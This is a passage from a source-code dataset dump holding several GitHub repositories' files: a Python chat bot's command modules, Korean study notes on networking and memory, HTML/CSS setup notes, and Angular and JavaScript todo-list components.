или аудиофайл\\n'\n 'Распознование речи в аудио или голосовом сообщении',\n 0,\n None,\n \"Распознование речи в аудио\"), None, None\n" }, { "alpha_fraction": 0.4545454680919647, "alphanum_fraction": 0.4639498293399811, "avg_line_length": 31.5510196685791, "blob_id": "d063338a7274ca5a486c746e388b07f019e2c45e", "content_id": "9976c9d10feefe09b78bb9e73abe4dca03b1d26d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1615, "license_type": "no_license", "max_line_length": 79, "num_lines": 49, "path": "/commands/test.py", "repo_name": "Alex1um/Reworked-bot", "src_encoding": "UTF-8", "text": "import time\nimport pymorphy2\nmorph = pymorphy2.MorphAnalyzer()\n\n\ndef asd(message):\n \"\"\"\n Testing generators - count Pallas's cats\n :param message:\n :return: count and Pallas's caat\n \"\"\"\n if message.params[0] != 'test':\n for i in range(int(message.params[0])):\n yield str(i) + ' ' + morph.parse(\n 'манул')[0].make_agree_with_number(i).word\n time.sleep(0.5)\n else:\n try:\n # print(1)\n # server = message.cls.vk_api.docs.getMessagesUploadServer(\n # type='audio_message', peer_id=message.sendid,\n # v=message.cls.api_version)\n # pfile = requests.post(server['upload_url'],\n # files={'file': open('1.wav', 'rb')}).json()\n # print(2)\n # doc = message.cls.vk_api.docs.save(file=pfile['file'],\n # title='test',\n # v=message.cls.api_version)\n # print(3)\n # return 'Do not play thiz', f'doc{doc[\n # \"audio_message\"][\"owner_id\"]}_{doc[\n # \"audio_message\"][\"id\"]}' #doc['audio_message']\n attach = message.cls.upload_doc('1.mp3',\n message.sendid, 'audio_message')\n return 'hello', attach\n except FileNotFoundError:\n print('not found')\n return 0\n\n\ndef main():\n return (\n 'test',\n 't test',\n asd,\n 0,\n None,\n 'Проверка манулов'\n ), None, None\n" }, { "alpha_fraction": 0.7613168954849243, "alphanum_fraction": 0.7613168954849243, "avg_line_length": 21.090909957885742, "blob_id": "efae0e43a210a719399ef963493acf47984ec2fb", "content_id": "48ffb02ea4fb9dd23c726262225c143af0ffb671", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 243, "license_type": "no_license", "max_line_length": 60, "num_lines": 11, "path": "/README.md", "repo_name": "Alex1um/Reworked-bot", "src_encoding": "UTF-8", "text": "# A very poorly and strangely written bot system\nThis is python-threading based sync bot system using SQLite.\n\nAbaddoned and needs remake.\n---\nScripts and chat api's are separated. JSON config required.\n\nAvailable chat systems:\n+ VK\n+ CLI\n---\n" }, { "alpha_fraction": 0.52601158618927, "alphanum_fraction": 0.5323699712753296, "avg_line_length": 33.58000183105469, "blob_id": "3d7675c14679a8e3fb2d853ad9bec734538f9b8a", "content_id": "5732bd75454e534df72ea6ae158eabfc804ad850", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1930, "license_type": "no_license", "max_line_length": 75, "num_lines": 50, "path": "/commands/help.py", "repo_name": "Alex1um/Reworked-bot", "src_encoding": "UTF-8", "text": "from Core.core import ChatSystem\n\n\ndef dothis(message):\n \"\"\"\n Help function\n :param message: Message type\n :return: command help or list of commands with short help\n making query to sql to get all commands\n \"\"\"\n system: ChatSystem = message.cls.main_system\n session = system.db_session.create_session()\n params = message.msg.split()\n mreturn = \"\"\n if len(params) > 1:\n if params[1].isdigit():\n index = int(params[1])\n cmd = next(\n filter(\n lambda x: x[0] == index, enumerate(\n session.query(system.db_session.CommandTable))))[1]\n else:\n cmd = system.getcommand(params[1])\n if cmd:\n mreturn = cmd.help\n else:\n mreturn = 'Команда не найдена'\n else:\n mreturn = 'Для вывода подробной информации, ' \\\n 'напишите номер или название команды после help\\n' \\\n 'Список доступных команд:\\n'\n mreturn += '\\n'.join(\n map(\n lambda x: f\"{x[0]} - {x[1].name}\" + (\n (\" - \" + x[1].short_help) if x[1].short_help else \"\"),\n enumerate(session.query(system.db_session.CommandTable))))\n return mreturn\n\n\ndef main():\n return (\"help\", # name\n \"help\", # keywords\n dothis, # callable function\n 'help {Название команды | номер команды}\\n'\n 'Получить помощь по команде\\n'\n 'Ввод help без команды выведет список команд', # help\n 0, # permission level\n None, # special symbol\n \"Помощь по командам\" # short help\n ), None, None # additional functions and settings\n\n" }, { "alpha_fraction": 0.5365982055664062, "alphanum_fraction": 0.546252429485321, "avg_line_length": 33.113773345947266, "blob_id": "cc06b8979eda9df557d580a1fef4d1be90fdaa11", "content_id": "679b2bb98b0592a3a85cd4592b0e63283d3f1934", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6194, "license_type": "no_license", "max_line_length": 80, "num_lines": 167, "path": "/commands/salades.py", "repo_name": "Alex1um/Reworked-bot", "src_encoding": "UTF-8", "text": "from random import sample, randint, shuffle\nfrom pickle import load\nfrom Core.core import *\nfrom ast import literal_eval\nimport os\n\n\ndef salades_max(params, system: ChatSystem, message):\n \"\"\"\n Control max length\n :param params:\n :param system:\n :param message:\n :return:\n \"\"\"\n session = system.db_session.create_session()\n salades_max = message.get_setting(session, 'salades_max')\n prev_param = message.params[-1]\n if prev_param == 'get':\n return salades_max.value if salades_max else '4'\n elif prev_param == 'set':\n if params:\n if params[0] != '4' and params[0].isdigit():\n if salades_max is None:\n message.add_setting(session, 'salades_max', params[0])\n else:\n salades_max.value = int(params[0])\n session.commit()\n else:\n return \"Неправильный параметр\", False\n else:\n return \"Нехватает параметра\", False\n\n\ndef salades_op(params, system: ChatSystem, message):\n \"\"\"\n Control file\n :param params:\n :param system:\n :param message:\n :return:\n \"\"\"\n session = system.db_session.create_session()\n salades_file = message.get_setting(session, 'salades_file')\n\n file = salades_file.value if salades_file else None\n prev_param = message.params[-1]\n if prev_param == 'current':\n return file if file else 'food'\n elif prev_param == 'switch' and params:\n if params[0] in map(lambda x: x[x.rfind('/') + 1:x.rfind('.'):],\n fix_paths(glob.glob(\"commands/files/*.saladict\"))):\n file = params[0]\n else:\n return 'Файл не найден'\n elif prev_param == 'list':\n return '\\n'.join(map(lambda x: x[x.rfind('/') + 1:x.rfind('.'):],\n fix_paths(glob.glob(\"commands/files/*.saladict\"))))\n elif prev_param == 'default':\n session.delete(salades_file)\n file = None\n\n if file:\n if salades_file:\n salades_file.value = file\n else:\n message.add_setting(session, 'random_talks_file', file)\n # session.add(system.db_session.Settings(\n # message.userid, 'random_talks_file', file))\n session.commit()\n return 'Success'\n\n\ndef dothis(message):\n \"\"\"\n salad game with genetic algorithm\n :param message:\n :return:\n \"\"\"\n session = message.get_session()\n salades_file = message.get_setting(session, 'salades_file')\n salades_file = salades_file.value if salades_file else 'food'\n salades_max = message.get_setting(session, 'salades_max')\n salades_max = int(salades_max.value) if salades_max else 6\n salades_set = message.get_setting(session, 'salades')\n active = message.get_setting(session, 'active')\n if active and 'Выход' in message.params:\n message.delete_active(session)\n return {'msg': 'Успешно!', 'keyboard': [[], False]}\n elif active is None:\n message.add_setting(session, 'active', 'salades')\n\n def conc(a: list, b: list):\n shuffle(a)\n shuffle(b)\n la = len(a)\n lb = len(b)\n a1, b1, a2, b2 = a[:la // 2], a[la // 2:], b[:lb // 2], b[lb // 2:]\n a1, b1, a2 = mutate(a1 + b1, b1 + a2, a1 + b2)\n return [list(set(a1)), list(set(b1)), list(set(a2))]\n\n def mutate(*args):\n args = list(args)\n for i, e in enumerate(args):\n le = len(e)\n args[i] = sample(\n e, randint(le // 2 + 1, le)\n ) + sample(words, randint(0, salades_max - le))\n return args\n\n words = []\n with open(f\"{os.getcwd()}/commands/\"\n f\"files/{salades_file}.saladict\", 'rb') as f:\n words = load(f)\n if salades_set is None:\n salades = [sample(words, randint(4, salades_max)),\n sample(words, randint(4, salades_max)),\n sample(words, randint(4, salades_max))]\n message.add_setting(session, 'salades', str(salades))\n else:\n salades = literal_eval(salades_set.value)\n if message.params and message.params[0].isdigit():\n kill = int(message.params[0])\n salades.pop(kill - 1)\n salades = conc(*salades)\n salades_set.value = str(salades)\n session.commit()\n ans = '\\n'.join(\n (\n str(n + 1) + '.' + str(\n salad\n )[1:-1].replace(\"'\", '') for n, salad in enumerate(salades)))\n return {'msg': 'Ваша задача получить лечший по вашему мнению салатик.\\n'\n 'Для этого выберите(напишите) номер худшего салатика.\\n'\n '(или напишите Выход для выхода из игры)\\n\\n' + ans,\n 'keyboard': [[['1', '2', '3'], [('Выход', 'negative')]], False]}\n\n\ndef main():\n setts = {\n 'salades': {\n 'file': {\n 'current': (salades_op, 0),\n 'switch': (salades_op, 5),\n 'list': (salades_op, 0)},\n 'max': {\n 'get': (salades_max, 0),\n 'set': (salades_max, 5),\n }\n }\n }\n return (\n 'salades',\n 'salades',\n dothis,\n 'salades, далее просто {число}\\n'\n 'Игра в салатики.\\n'\n 'Игра основанна на генетическом алгоритме. В каждом поколении вам'\n ' предлагается выбрать один из 3-х \"салатиков\", по вашему мнению '\n 'худший. Таким образом убираются худшие ингредиенты, а остальные '\n 'перемешиваются и составляются новые салатики.\\n'\n 'Салатики могут мутировать, т.е. '\n 'в них могут появиться или исчезнуть новые ингедиенты',\n 0,\n None,\n 'Игра в салатики'\n ), None, setts\n" } ]
22
SunnySunhwa/study
https://github.com/SunnySunhwa/study
702c3e96354feac1ed3686f507839c3bd8e89c11
7e29473e73df257f9227c8d36e5b4cdb1e7ebb43
0001cc6c8d0205ba6156d1eb0d5c77f464502811
refs/heads/master
2021-01-23T19:34:02.863286
2017-12-05T05:45:47
2017-12-05T05:45:47
102,828,980
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6436170339584351, "alphanum_fraction": 0.6436170339584351, "avg_line_length": 21.117647171020508, "blob_id": "8fc21fc7281ad6e3a2461ec9cbdd7ed1c5d4f940", "content_id": "bf456b06a641a265feb895223f4e2f25701e3466", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 376, "license_type": "no_license", "max_line_length": 71, "num_lines": 17, "path": "/Todo/ng_teacher/todo-form.component.ts", "repo_name": "SunnySunhwa/study", "src_encoding": "UTF-8", "text": "import { Component, Output, EventEmitter } from '@angular/core';\n\n@Component({\n selector: 'todo-form',\n template: `\n <input type=\"text\" [(ngModel)]=\"content\" (keyup.enter)=\"onInput()\">\n `\n})\nexport class TodoFormComponent {\n content: string;\n @Output() inputTodo = new EventEmitter();\n\n onInput() {\n this.inputTodo.emit(this.content);\n this.content = '';\n }\n}\n" }, { "alpha_fraction": 0.5780399441719055, "alphanum_fraction": 0.582577109336853, "avg_line_length": 24.06818199157715, "blob_id": "b31dedfdac776ff7dd2453de27af26acc4a3035c", "content_id": "b7bbe28bba7ac26c748af5daba9e3269d0bc879e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 1102, "license_type": "no_license", "max_line_length": 87, "num_lines": 44, "path": "/Todo/ng_teacher/todo-container.component.ts", "repo_name": "SunnySunhwa/study", "src_encoding": "UTF-8", "text": "import { Component, OnInit } from '@angular/core';\nimport { Todo } from './todo';\n\n@Component({\n selector: 'todo-container',\n template: `\n <todo-form (inputTodo)=\"addTodo($event)\"></todo-form>\n <todo-select\n [navItems]=\"navItems\"\n (changeStatus)=\"status=$event\">\n </todo-select>\n <todo-list\n [todos]=\"todos\"\n [status]=\"status\"\n (removeTodo)=\"removeTodo($event)\">\n </todo-list>\n `\n})\nexport class TodoContainerComponent implements OnInit {\n todos: Todo[];\n navItems: string[];\n status: string;\n\n ngOnInit() {\n this.todos = [\n { id: 1, content: 'HTML', completed: false },\n { id: 2, content: 'CSS', completed: true },\n { id: 3, content: 'JS', completed: false }\n ];\n this.navItems = ['All', 'Active', 'Completed'];\n }\n\n addTodo(content) {\n this.todos = [...this.todos, { id: this.lastTodoId(), content, completed: false }];\n }\n\n removeTodo(id) {\n this.todos = this.todos.filter(todo => todo.id !== id);\n }\n\n private lastTodoId(): number {\n return this.todos ? Math.max(...this.todos.map(({ id }) => id)) + 1 : 1;\n }\n}" }, { "alpha_fraction": 0.652320384979248, "alphanum_fraction": 0.6691616773605347, "avg_line_length": 17.30137062072754, "blob_id": "0c9171187e6d6e3e35773d52066abb18309aa877", "content_id": "3092b2933d5f17640fec9e0d3242ff8195b06c73", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4585, "license_type": "no_license", "max_line_length": 71, "num_lines": 146, "path": "/network_memory.md", "repo_name": "SunnySunhwa/study", "src_encoding": "UTF-8", "text": "# NETWORK\n## TCP/IP 계층모델\n\n1. Newtwork Interface\n\t- Hardware - Lan 카드\n\t\t(Network Interface Card, 네트워크 어댑터)\n\t- Ethernet (선꼽는것)\n\t- ADSL\n2. Internet\n\t- 목적IP까지 data를 전송\n3. Transport\n\t- 목적지 프로세스: 실행되고 있는 프로그램에 전송\n\t- TCP - UDP\n4. Application\n\t- 눈에 보이게 유저에게 서비스를 제공\n---\n\n## ARP (Address Resolution Protocol)\n: IP address(추상적) -> Mac address(기기주소) 전환하는 것.\n- 상대의 맥주소를 알고 있어야 데이터 전송이 가능.\n- 브로드캐스트를 통해 본인 IP가 아닌 host는 무시하고,\n\t해당하는 IP가 본인의 맥주소를 라우터를 통해 요청한 host에 전송.\n\n\n\n\n*Q. 그럼 왜 맥주소만 쓰지 않을까?* .\n\nIP: 최종 목적지의 주소\nMac address: 근처에 있는 하드웨어의 주소 (최종목적지 다음에 보낼)\n따라서, 한번 생긴 맥주소는 한번 쓰고 버림.\n\n\n### DNS (Domain Name System)\n: 매칭된 Ip주소로 전환\n\n\n### DNS Server\n:도메인과 Ip주소를 매칭하여 매핑시켜놓은 것\n\n1. Cache\n\t- 유저가 입력했었던 도메인, IP내역을 가지고 있어 바로 반환\n2. Contents\n\t- 새로이 입력된 도메인, IP내역을 찾는 서버\n\n---\n\n### NAT (Network Address Translation)\n: 호스트 간 데이터 공유 시, 공유기에서 Port를 기준으로\n Private network <-> Public Network 전환시켜줌.\n\n(private은 public으로 접근 불가하기때문에, public으로 전환해야함)\n\n\n### NAPT (Network Address Port Translation)\n: 만약 포트가 동일한 host가 존재한다면, 포트를 변화시켜 찾아줌.\n\n\n### Transport\n: 데이터를 목적 프로그램에 전달, 포트에 따라 프로그램을 정의\n(하나의 host안에서 port번호는 운영체제에 따라 할당하고 관리하여 동일할 수 없다)\n\n1. well-known port: Server program\n - 20, 21: FTP\n - 80: HTTP (web)\n - 443: HTTPS (보안)\n2. Registered port\n3. Dynamic port: Client program\n\n\n### TCP & UDP\n1. TCP\n - 도중에 데이터 손실이 일어났을때, 재전송해줌\n - 데이터의 완벽성을 중요시함\n\n2. UDP\n - 도중에 데이터 손실이 일어났을때, 재전송X.\n - but, 속도가 빠름 (동영상 스트리밍, 온라인게임 등. 화면이 깨질지언정 전송)\n\n### URL (Uniform resource locator)\n - url은 사이트주소가 아닌, 리소스를 가리키는 것.\n - [형식] schema://host(computer).domain/directory/file\n - [eg] www.naver.com, cloud.naver.com은 naver.com이라는 도메인안에 2개의 호스트가 존재)\n\n\n### AJAX\n - 항상 새로 갱신하는 것이 아니라, 수정된 부분만 부분별로 불러들임\n - 브라우저가 아닌 자바스크립트에서 보내진 리퀘스트\n\n### Cookie\n - 웹은 한번의 리퀘스트에 한번의 응답으로 서버가 끝남(stateless,포트번호가 계속 바뀜)\n - 로그인상태를 유지하기 위해 sessionID라는 개념이 생김\n - Set-cookie를 통해 한번의 응답에 session ID를 생성해, cookie정보를 로컬 호스트에 저장\n - 다음번 리퀘스트를 할때 sessionID를 함께 던져주어 세션이 꺼질때까지 로그인 상태인인것처럼 유지\n\n---\n\n# Memory\n## Memory hierarchy (메모리 계층구조)\n- 1에 가까울수록 속도는 빠르나, 용량은 작다.\n- 데이터를 가져올때는 하드 > 메모리 > 캐시 > 레지스터\n- 데이터를 저장할때는 레지스터 > 캐시 > 메모리 > 하드 순차적으로 일어남\n\n1. register\n2. cache\n3. main memory (RAM)\n4. hard disc\n\n\n### Principle of Locality (지역성의 원리)\n1. Temporal locality\n- CPU가 한번 접근한 메모리(변수)는 다시 접근함\n2. Spatial locality\n- 이번에 접근할 메모리(변수)는 이전에 접근했던 메모리 '근처'일 확률이 높음\n\n - 따라서, li = [1,2,3,4,5]중 1번째 idx만 가져온다해도 남은 2,3,4,5를 캐시에 가져감(99%확률)\n - 캐시에 넣으므로써, 컴퓨터는 더 빠른 속도로 값을 반환할 수 있음 (cache hit)\n - But, 3을 찾는데 캐시에 없다면 다시 메모리로 찾으러감(cache miss). 그만큼 속도가 느려짐\n\n\n###  가상주소 공간\n1. code\n2. data\n - 전역변수 저장\n3. heap\n - 프로그래머가 할당 가능\n - 부분 부분차게되어 메모리가 단편화됨\n - 캐시라인 뜨기가 어려움 -> cache miss가 잘 남\n4. stack\n - 지역변수 저장\n - 순서대로 차근차근 차게 되므로 연관있는 데이터끼리 모이게 됨\n - 데이터가 붙어있으므로 locality가 좋음\n\n\n\n\n\n\n\n\n\n\n\n\n\n``\n" }, { "alpha_fraction": 0.6550307869911194, "alphanum_fraction": 0.6591376066207886, "avg_line_length": 35.074073791503906, "blob_id": "897ab44fbbb7bfd487af0beb2f900d1373626605", "content_id": "cd794d75e14a2bf0f60c18e45f2721d0cde6c5bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 974, "license_type": "no_license", "max_line_length": 157, "num_lines": 27, "path": "/Todo/v5/src/app/todo-footer.component.ts", "repo_name": "SunnySunhwa/study", "src_encoding": "UTF-8", "text": "import { Component, OnInit, Input, Output, EventEmitter } from '@angular/core';\nimport { Todo } from './todo';\n@Component({\n selector: 'todo-footer',\n template: `\n <div class=\"col-xs-6\">\n <label class=\"i-checks\" style=\"padding-left: 20px\">\n <input id=\"chk-allComplete\" type=\"checkbox\" (change)=\"toggleAllTodoAsCompleted.emit($event.target.checked)\" ><i></i><span>Mark all as complete</span>\n </label>\n </div>\n <div class=\"col-xs-6 text-right\">\n <button (click)=\"removeCompletedTodos.emit()\" class=\"btn btn-default btn-xs\">Clear completed (<span>{{cntGetCompleted}}</span>)</button>\n <strong>{{cntLeft}}</strong> items left\n </div>\n `,\n styles: []\n})\nexport class TodoFooterComponent implements OnInit {\n @Input() todos: Todo[];\n @Input() cntLeft: Number;\n @Input() cntGetCompleted: Number;\n @Output() toggleAllTodoAsCompleted = new EventEmitter();\n @Output() removeCompletedTodos = new EventEmitter();\n ngOnInit() {\n }\n \n}\n" }, { "alpha_fraction": 0.6000000238418579, "alphanum_fraction": 0.6024096608161926, "avg_line_length": 15.938775062561035, "blob_id": "1083ad32e4b5cdc34a56a8d5bfa1fdbbb8cfeb5f", "content_id": "436d4017a79946249d501a4e35d58f5cc0e3b7bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1126, "license_type": "no_license", "max_line_length": 46, "num_lines": 49, "path": "/html_css/setting.md", "repo_name": "SunnySunhwa/study", "src_encoding": "UTF-8", "text": "# 환경설정\n## vs Code 환경설정\n\n### vs code extentions\n - live server\n - JS-CSS-HTML formatter\n - Path Autocomplete\n\n### key map\n - Atom\n\n### 명령어팔레트 > formatter config*\n - js, css, html의 indent size : 2\n\n\n### firefox, chrome extentions\n - Web Developer\n - headings map\n - open wax (edited)\n\n\n#### normalize.css\n - css 기본값 세팅 (뷰어값 삭제)\n - https://cdnjs.com/libraries/normalize\n\n#### reset.css\n - css 기본값 리셋\n\n#### css- minified, uglyfied\n - css를 보기좋게 짜놓고 배포할때만 한줄로 줄여서 난독화, but 용량 줄임\n\n### www.w3.org/Style/CSS/current-work\n- 보편적으로 쓸 수 있는 CSS가 뭔지 확인하고 싶을때\n- 단계: D > WD > CR > PR > REC\n- 뒤로 갈수록 안정적으로 쓸수있음\n\n\n\n### Font Awesome\n- 웹아이콘 클래스 모듈화 사이트\n- http://fontawesome.io/\n\n \n## 단축키 (emmet)\n - Cmd + shift + k : 커서가 있는줄 삭제\n - cmd + shift + D : 커서 있는줄 복사\n - Cmd + \\ : 사이드바 보이기 안보이기\n - Cmd + / : 주석처리\n - Alt + 방향키 : 해당 커서 줄 옮기기\n" }, { "alpha_fraction": 0.6272469162940979, "alphanum_fraction": 0.6310312151908875, "avg_line_length": 38.14814758300781, "blob_id": "3b9cb6767e8896ad9ed43020d05636042fa88bca", "content_id": "862959c9c40fb329002a62e355f4600224479a0d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 1057, "license_type": "no_license", "max_line_length": 154, "num_lines": 27, "path": "/Todo/v5_practice/src/app/todo-footer.component.ts", "repo_name": "SunnySunhwa/study", "src_encoding": "UTF-8", "text": "import { Component, OnInit, Input, Output, EventEmitter } from '@angular/core';\n\n@Component({\n selector: 'app-todo-footer',\n template: `\n <div class=\"col-xs-6\">\n <label class=\"i-checks\" style=\"padding-left: 20px\">\n <input (change)=\"toggleAllCompleted.emit($event.target.checked)\" id=\"chk-allComplete\" type=\"checkbox\"><i></i><span>Mark all as complete</span>\n </label>\n </div>\n <div class=\"col-xs-6 text-right\">\n <button (click)=\"removeCompletedTodos.emit()\" id=\"btn-removeCompletedTodos\" class=\"btn btn-default btn-xs\">Clear completed\n (<span id=\"completedTodos\">{{cntCompletedTodos}}</span>)</button>\n <strong id=\"leftTodos\">{{cntLeftTodos}}</strong> items left\n </div>\n `,\n styles: []\n})\nexport class TodoFooterComponent implements OnInit {\n @Input () cntCompletedTodos : Number;\n @Input () cntLeftTodos : Number;\n @Output () toggleAllCompleted = new EventEmitter();\n @Output () removeCompletedTodos = new EventEmitter();\n ngOnInit() {\n }\n\n}\n" }, { "alpha_fraction": 0.632478654384613, "alphanum_fraction": 0.6678876876831055, "avg_line_length": 25.419355392456055, "blob_id": "6ffc6906433b4a6e7597c436b22fad9ec6964209", "content_id": "d5a5e1f63988ee83bbd9dfeaa3a3c8e0466cd3a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1329, "license_type": "no_license", "max_line_length": 73, "num_lines": 31, "path": "/html_css/rwd.md", "repo_name": "SunnySunhwa/study", "src_encoding": "UTF-8", "text": "# 반응형\n\n## img 처리\n- 부모, img를 따로 줌\n- 부모사이즈가 늘어나고 줄어남에 따라 img를 맞춤\n- img{width: 100%, height: auto;}\n- height: auto; 필수 선언\n\n\n1. img의 속성 srcset, sizes 활용하기\n - 같은 이미지 몇개를 준비해서 ratio에 따라 다른 이미지를 호출 (2x, 4x..)\n2. picture태그 활용\n - 뷰포트에 따라 다른 이미지 보여주기\n - 지원하지 않는다면, img태그를 보여줘라를 덧붙여 접근성 주기) -ie11 지원X\n - picturefill??? 검색해서 script붙여주면 호환되도록 지원해줌\n\n## background 처리\n- background: orange url(\"images/logo.png\") no-repeat 0 0/contain;\n- 포지션 뒤에 /하고 100% 100% 또는 키워드로 cover, contain 올수있음\n- cover: 세로 기준으로 꽉 차게\n- contain: 가로 기준으로 꽉 차게 (세로는 Auto값)\n- 보통 반응형에 많이쓰이나, 배경은 처리하기가 어려워 가상의 이미지(src, alt)값을 주지 않고, ir기법으로 처리하듯 처리함\n\n\n## grid\n- http://www.vfinspections.com/ggs/goldengridsystem.com/\n- https://960.gs/ (사이트별 사용 컬럼수 확인 가능)\n- 가상의 그리드가 있다고 생각하고 제작\n- 가로칸: vertical rhythm.\n- 세로줄: column.\n- column은 보통 2, 4, 8, 12, 16, 24를 많이 사용\n" }, { "alpha_fraction": 0.5502318143844604, "alphanum_fraction": 0.551391065120697, "avg_line_length": 26.83333396911621, "blob_id": "4927003d4f1139b7fdaf2bc745652329ebd37844", "content_id": "202dfba795ac32830371ee34c9c83ae3883bcd97", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 5516, "license_type": "no_license", "max_line_length": 101, "num_lines": 186, "path": "/Todo/v2_firebase/js/app.js", "repo_name": "SunnySunhwa/study", "src_encoding": "UTF-8", "text": "(function(ax) {\n var $x = ax.create({\n baseURL: 'https://todolist-sunny.firebaseio.com/todos'\n });\n\n\n let todos;\n let status = 'all';\n\n const inputTodo = document.getElementById('input-todo');\n const todoList = document.getElementById('todo-list');\n const completedTodos = document.getElementById('completedTodos');\n const leftTodos = document.getElementById('leftTodos');\n\n\n\n const filterByStatus = function (){\n \t//사용하는 값은 todo의 completed밖에 없기 때문에 distructuring\n \t return todos.filter(( { completed } ) => {\n \t\t switch (status){\n \t\t\t case 'active' : return !completed\n \t\t\t case 'completed' : return completed;\n \t\t\t //all일 경우 모든 todos를 그대로 반환해야함-> filter를 거치기 위해 true로\n \t\t\t default : return true; \n \t\t }\n \t });\n };\n \n\n\n\tconst countCompletedTodos = function(){\n\t\treturn (todos.filter(( {completed} ) => completed)).length;\n\t};\n\t\n\t\n\tconst countLeftTodos = function(){\n\t\treturn (todos.filter(( {completed} ) => !completed)).length;\t\n\t};\n\n const render = function() {\n let html = '';\n\t\t\t\tconst _todos = filterByStatus();\n _todos.forEach(({id, content, completed\n }) => {\n const checked = completed ? ' checked' : '';\n\n html += `<li class=\"list-group-item\"> \n <div class=\"hover-anchor\">\n <a class=\"hover-action text-muted\">\n <span class=\"glyphicon glyphicon-remove-circle pull-right\" data-id=\"${id}\"></span>\n </a>\n <label class=\"i-checks\" for=\"${id}\">\n <input type=\"checkbox\" id=\"${id}\"${checked}><i></i>\n <span>${content}</span>\n </label>\n </div>\n </li >`;\n });\n completedTodos.innerHTML = countCompletedTodos();\n leftTodos.innerHTML = countLeftTodos();\n todoList.innerHTML = html;\n };\n\n const getTodos = function() {\n //베이스 url뒤에 붙는것만 써주면 됨\n $x.get('.json')\n .then((res) => {\n todos = res.data;\n render();\n console.log('[GET]\\n', todos);}) \n .catch((err) => {console.log(err)});\n \n };\n\n\n\n const lastTodoId = function() {\n return todos ? Math.max(...todos.map(({id }) => id)) + 1 : 1;\n };\n\n const addTodo = function() {\n const content = inputTodo.value;\n inputTodo.value = '';\n const temp = { id: lastTodoId(), content, completed: false };\n //baseURL 뒤에 새로운 데이터는 /인덱스값이 오는데, 인덱스값 !== id 임.\n $x.put(`/${(todos.length)}.json`, temp)\n .then((res) => { \n todos.push(temp);\n render(); \n console.log('[ADD]\\n', todos);\n })\n .catch((err) => {console.log(err)});\n\n /* todos 전체를 다시 만드는 방법 (서버와 맞지 않음) \n if (!todos || todos.length === 0) {\n todos = [{ id: 1, content, completed: false }];\n } else {\n todos = [{id: lastTodoId(), content, completed: false}].concat(todos);\n }\n */ \n };\n\n const toggleTodoComplete = function(id) {\n todos = todos.map(todo => (\n todo.id === (+id) ? Object.assign({}, todo, {\n completed: !todo.completed\n }) : todo\n ));\n render();\n console.log('[TOGGLE-COMP]\\n', todos);\n };\n\tconst toggleTodoAllComplete = function (checked) {\n\t\t\ttodos = todos.map(({ id, content }) => ({ id, content, completed: checked }));\n\t\t\trender();\n\t\t\tconsole.log('[TOGGLE-A-COMP]\\n', todos);\n\t\t};\n\n\n const removeTodo = function(id) {\n todos = todos.filter(todo => todo.id !== (+id));\n render();\n console.log('[REMOVE]\\n', todos);\n\t\t};\n\t\t\n\n\n\tconst removeCompletedTodo = function(){\n\t\t// filter의 리턴값을 true로 해주기위해 !completed\n\t\t// completed만 쓸것이고, completed를 덮어쓰지 않을 것이기 때문에 distructuring 가능\n\t\ttodos = todos.filter(( { completed } ) => !completed );\n\t\trender();\n\t\tconsole.log('[RM-COMP]\\n', todos);\n\t\t};\n\t\n\n\n inputTodo.addEventListener('keyup', (e) => {\n if (e.keyCode !== 13 || inputTodo.value.trim() === '') {\n return;\n }\n addTodo();\n });\n\n window.addEventListener('load', () => {\n getTodos();\n });\n\n todoList.addEventListener('change', (e) => {\n toggleTodoComplete(e.target.id);\n });\n\n todoList.addEventListener('click', ({ target }) => {\n if (!target || target.nodeName !== 'SPAN' || target.parentNode.nodeName === 'LABEL') {\n return;\n }\n removeTodo(target.dataset.id);\n });\n\n\n\n //childNode는 엔터까지 노드로 치는 반면에, children은 element요소만\n // 탭 전체에서 active클래스 빼기\n document.querySelector('.nav').addEventListener('click', (e) => {\n if(!e.target || e.target.nodeName !== 'A') return; //방어코드\n const lis = e.currentTarget.children;\n [...lis].forEach((el)=>{el.classList.remove('active')\n });\n\n // 선택한 탭에만 active클래스 추가\n const targetLi = e.target.parentNode;\n targetLi.classList.add('active');\n\n // 선택한 탭의 id값 가져오기\n status = targetLi.id;\n\t\t//console.log(status);\n\n\t\trender();\n\n\t\t});\n\n\t\tdocument.getElementById('chk-allComplete').addEventListener('change', (e) => {\n\t\t\ttoggleTodoAllComplete(e.target.checked);\n\t\t});\n\n\t\tdocument.getElementById('btn-removeCompletedTodos').addEventListener('click', removeCompletedTodo);\n\t\t}(axios));" }, { "alpha_fraction": 0.6153846383094788, "alphanum_fraction": 0.6153846383094788, "avg_line_length": 21, "blob_id": "61d5522aae1cb7618f768d24faf732d2934914f1", "content_id": "636d404e3712464b05909d6645be9592c917e401", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 572, "license_type": "no_license", "max_line_length": 79, "num_lines": 26, "path": "/Todo/v5_practice/src/app/todo-form.component.ts", "repo_name": "SunnySunhwa/study", "src_encoding": "UTF-8", "text": "import { Component, OnInit, Input, Output, EventEmitter } from '@angular/core';\n\n@Component({\n selector: 'app-todo-form',\n template: `\n <input class=\"form-control input-lg\" placeholder=\"What needs to be done?\"\n autofocus [(ngModel)]= \"content\" (keyup.enter)= \"onEnter()\">\n `,\n styles: []\n})\nexport class TodoFormComponent implements OnInit {\n @Input() content: string;\n @Output() addTodo = new EventEmitter();\n\n onEnter() {\n if(this.content) {\n this.addTodo.emit(this.content);\n this.content = '';\n }\n }\n\n ngOnInit() {\n }\n \n\n}\n" }, { "alpha_fraction": 0.5252659320831299, "alphanum_fraction": 0.5289893746376038, "avg_line_length": 